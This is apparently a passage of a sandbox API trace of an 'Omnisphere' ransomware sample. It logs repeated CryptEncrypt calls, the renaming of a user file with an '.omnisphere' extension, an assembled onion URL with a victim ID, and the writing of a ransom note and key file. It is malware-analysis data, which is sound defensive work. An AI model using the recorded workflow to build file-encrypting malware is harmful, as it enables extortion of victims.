pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.006] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.007] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.008] CryptDestroyKey (hKey=0x1639568) returned 1 [0118.008] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.008] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x902, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.008] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.008] GetProcessHeap () returned 0x1600000 [0118.008] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x169e8d0 [0118.008] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\cameraroll.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\cameraroll.library-ms.omnisphere")) returned 1 [0118.009] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms.omnisphere.id" [0118.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\cameraroll.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.010] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.011] CloseHandle (hObject=0x3c0) returned 1 [0118.012] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.012] CloseHandle (hObject=0x288) returned 1 [0118.012] SetEndOfFile (hFile=0x28c) returned 1 [0118.012] FlushFileBuffers (hFile=0x28c) returned 1 [0118.022] CloseHandle (hObject=0x28c) returned 1 [0118.022] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.022] GetProcessHeap () returned 0x1600000 [0118.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169eba0 [0118.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.022] GetProcessHeap () returned 0x1600000 [0118.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693be8 [0118.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693be8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.022] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.022] GetProcessHeap () returned 0x1600000 [0118.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686e88 [0118.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686e88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.022] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.022] GetProcessHeap () returned 0x1600000 [0118.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a6f8 [0118.022] PathCombineW (in: pszDest=0x166a6f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.022] GetProcessHeap () returned 0x1600000 [0118.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1699a98 [0118.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.023] WriteFile (in: hFile=0x28c, lpBuffer=0x1699a98*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1699a98*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.024] CloseHandle (hObject=0x28c) returned 1 [0118.024] GetProcessHeap () returned 0x1600000 [0118.024] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169eba0 | out: hHeap=0x1600000) returned 1 [0118.024] GetProcessHeap () returned 0x1600000 [0118.025] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1630d30 [0118.025] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.025] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.026] CloseHandle (hObject=0x28c) returned 1 [0118.026] GetProcessHeap () returned 0x1600000 [0118.026] HeapFree (in: hHeap=0x1600000, 